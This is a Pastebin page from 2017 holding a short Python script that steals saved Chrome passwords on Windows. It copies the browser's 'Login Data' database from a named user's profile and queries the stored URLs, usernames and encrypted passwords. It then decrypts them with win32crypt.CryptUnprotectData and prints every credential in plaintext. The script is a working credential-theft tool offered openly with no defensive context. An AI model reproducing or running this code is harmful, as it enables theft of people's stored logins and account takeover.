Advertisement
Guest User

Untitled

a guest
Apr 28th, 2017
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.92 KB | None | 0 0
  1. import os
  2. import sqlite3
  3. import win32crypt
  4. import sys
  5. import shutil
  6.  
  7. file_path= "C:/Users/mithilesh.singh/AppData/Local/Google/Chrome/User Data/Profile 3/Login Data"
  8. shutil.copy(file_path, "C:/Users/mithilesh.singh/Desktop/")
  9.  
  10. # Connect to the Database
  11. try:
  12. conn = sqlite3.connect("Login Data")
  13. cursor = conn.cursor()
  14. except Exception as e:
  15. print ('[-] %s' % (e) )
  16. sys.exit(1)
  17.  
  18. # Get the results
  19. try:
  20. cursor.execute('SELECT action_url, username_value, password_value FROM logins')
  21. except Exception as e:
  22. print( '[-] %s' % (e))
  23. sys.exit(1)
  24.  
  25. data = cursor.fetchall()
  26.  
  27. if len(data) > 0:
  28. for result in data:
  29. # Decrypt the Password
  30. try:
  31. password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
  32. except Exception as e:
  33. print( '[-] %s' % (e))
  34. pass
  35. if password:
  36. print ("[+] URL: %s Username: %s Password: %s" %(result[0], result[1], password))
  37. else:
  38. print ('[-] No results returned from query')
  39. sys.exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement